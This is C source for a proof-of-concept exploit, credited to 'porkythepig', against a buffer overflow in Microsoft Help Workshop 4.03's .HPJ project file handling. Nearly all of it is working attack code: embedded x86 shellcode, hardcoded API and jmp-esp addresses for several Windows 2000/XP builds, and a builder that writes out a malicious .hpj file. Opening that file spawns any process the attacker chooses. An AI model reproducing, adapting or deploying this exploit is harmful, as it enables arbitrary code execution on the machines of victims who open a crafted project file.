Proof of concept exploit for the .HPJ project file buffer overflow vulnerability in Microsoft Help Workshop version 4.03.0002.
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//*****************
//
// PoC exploit for .HPJ project files buffer overflow vulnerability in
// Microsoft Help Workshop v4.03.0002
// The tool is standard component of MS Visual Studio v6.0 and 2003 (.NET)
//
// vulnerability found / exploit built by porkythepig
//
//*****************
#include "stdio.h"
#include "stdlib.h"
#include "string.h"
#include "memory.h"
#define STR01 "Microsoft Help Workshop PoC exploit by porkythepig"
#define DEF_SPAWNED_PROCESS "notepad.exe"
#define EXPL_SIZE 671
#define PROC_NAM_SIZ 128
#define RET_OFFSET 0x14e
#define PROC_NAME_OFFSET 0x166
#define EXPRO_OFFSET 0xd9
#define GETSTAR_OFFSET 0x58
#define CREPRO_OFFSET 0xcf
#define GETWINDIR_OFFSET 0x73
typedef struct
{
unsigned int extPro;
unsigned int getStarInf;
unsigned int crePro;
unsigned int getWinDir;
unsigned int jmpEspPtr;
}ApiPtrs;
ApiPtrs osApiPtrs[5]=
{
0x793f69da,0x793f6b7a,0x793f5010,0x793f2d23,0x793d1c8b,
0x7c4ee01a,0x7c4f49df,0x7c4fc0a0,0x7c4e9cFF,0x7ffd2d63,
0x7c5969da,0x7c596b7a,0x7c595010,0x7c592d23,0x7d0c65f1,
0x7c81cdda,0x7c801eee,0x7c802367,0x7c821363,0x7cb97b75,
0x77e75cb5,0x77e6177a,0x77e61bb8,0x77e705b0,0x775fe310
};
unsigned char shlCode[]=
{
0x66,0x83,0xc4,0x10,0x8b,0xc4,0x66,0x81,
0xec,0x10,0x21,0x50,0x66,0x2d,0x11,0x11,
0x50,0xb8,0x7a,0x6b,0x3f,0x79,0xff,0xd0,
0x58,0x50,0x80,0x38,0x20,0x74,0x49,0x5b,
0x53,0x33,0xc0,0xb0,0xff,0x50,0x66,0x81,
0xeb,0x11,0x05,0x53,0xb8,0x23,0x2d,0x3f,
0x79,0x3c,0xff,0x75,0x02,0x32,0xc0,0xff,
0xd0,0x58,0x50,0x66,0x2d,0x11,0x05,0x32,
0xdb,0x38,0x18,0x74,0x03,0x40,0xeb,0xf9,
0x5b,0x53,0xb2,0x01,0xb1,0x5c,0x88,0x08,
0x40,0x38,0x13,0x74,0x08,0x8a,0x0b,0x88,
0x08,0x43,0x40,0xeb,0xf4,0xb2,0x01,0x88,
0x10,0x58,0x50,0x66,0x2d,0x11,0x05,0x48,
0x40,0x8b,0xd0,0x80,0x38,0x01,0x74,0x03,
0x40,0xeb,0xf8,0x32,0xc9,0x88,0x08,0x58,
0x50,0x66,0x2d,0x11,0x11,0x50,0x33,0xc9,
0x51,0x51,0x51,0x51,0x51,0x51,0x51,0x52,
0xb8,0x10,0x50,0x3f,0x79,0xff,0xd0,0x33,
0xc0,0x50,0xb8,0xda,0x69,0x3f,0x79,0xff,
0xd0
};
char buf0[EXPL_SIZE];
char spawnProcess[PROC_NAM_SIZ];
char *outName;
int osId;
int defProc;
void CompileBuffer()
{
int ptr=0;
memset(buf0,'1',EXPL_SIZE);
ptr+=sprintf(buf0,";%s\r\n\r\n[OPTIONS]\r\nHLP=",STR01);
memcpy(buf0+ptr,shlCode,sizeof(shlCode));
*((unsigned int*)(buf0+EXPRO_OFFSET))=osApiPtrs[osId].extPro;
*((unsigned int*)(buf0+GETSTAR_OFFSET))=osApiPtrs[osId].getStarInf;
*((unsigned int*)(buf0+CREPRO_OFFSET))=osApiPtrs[osId].crePro;
*((unsigned int*)(buf0+GETWINDIR_OFFSET))=osApiPtrs[osId].getWinDir;
*((unsigned int*)(buf0+RET_OFFSET))=osApiPtrs[osId].jmpEspPtr;
ptr=PROC_NAME_OFFSET;
if(!defProc)
{
buf0[ptr]=32;
ptr++;
}
sprintf(buf0+ptr,"%s\x01",spawnProcess);
buf0[EXPL_SIZE-2]='\\';
printf("Exploit buffer compiled\n");
}
void WriteBuffer()
{
FILE *o;
o=fopen(outName,"wb");
if(o==NULL)
{
printf("Cannot open file for writing\n");
exit(0);
}
fwrite(buf0,EXPL_SIZE,1,o);
fclose(o);
printf("Output .hpj file [ %s ] built successfully\n",outName);
}
void ProcessInput(int argc, char* argv[])
{
printf("\nMicrosoft Help Workshop 4.03.0002 .HPJ Project file exploit\n");
printf("Vulnerability found & exploit built by porkythepig\n");
if(argc<3)
{
printf("Syntax: exploit.exe os outName [spawnProc]\n");
printf("[os] host OS, possible choices:\n");
printf(" 0 Windows 2000 SP4 [Polish] updates-04012007\n");
printf(" 1 Windows 2000 SP4 [English]\n");
printf(" 2 Windows 2000 SP4 [English] updates-04012007\n");
printf(" 3 Windows XP Pro SP2 [English] updates-04012007\n");
printf(" 4 Windows XP Pro [English]\n");
printf("[outName] output .hpj exploit file name\n");
printf("[spawnProc] *optional* full path to the process to be spawned by\n");
printf(" the exploit (if none specified default will be notepad.exe)\n");
exit(0);
}
osId=atol(argv[1]);
if((osId<0)||(osId>4))
{
exit(0);
}
outName=argv[2];
if(argc>3)
{
if(strlen(argv[3])>=PROC_NAM_SIZ)
{
exit(0);
}
strcpy(spawnProcess,argv[3]);
defProc=0;
}
else
{
strcpy(spawnProcess,DEF_SPAWNED_PROCESS);
defProc=1;
}
}
int main(int argc, char* argv[])
{
ProcessInput(argc,argv);
CompileBuffer();
WriteBuffer();
return 0;
}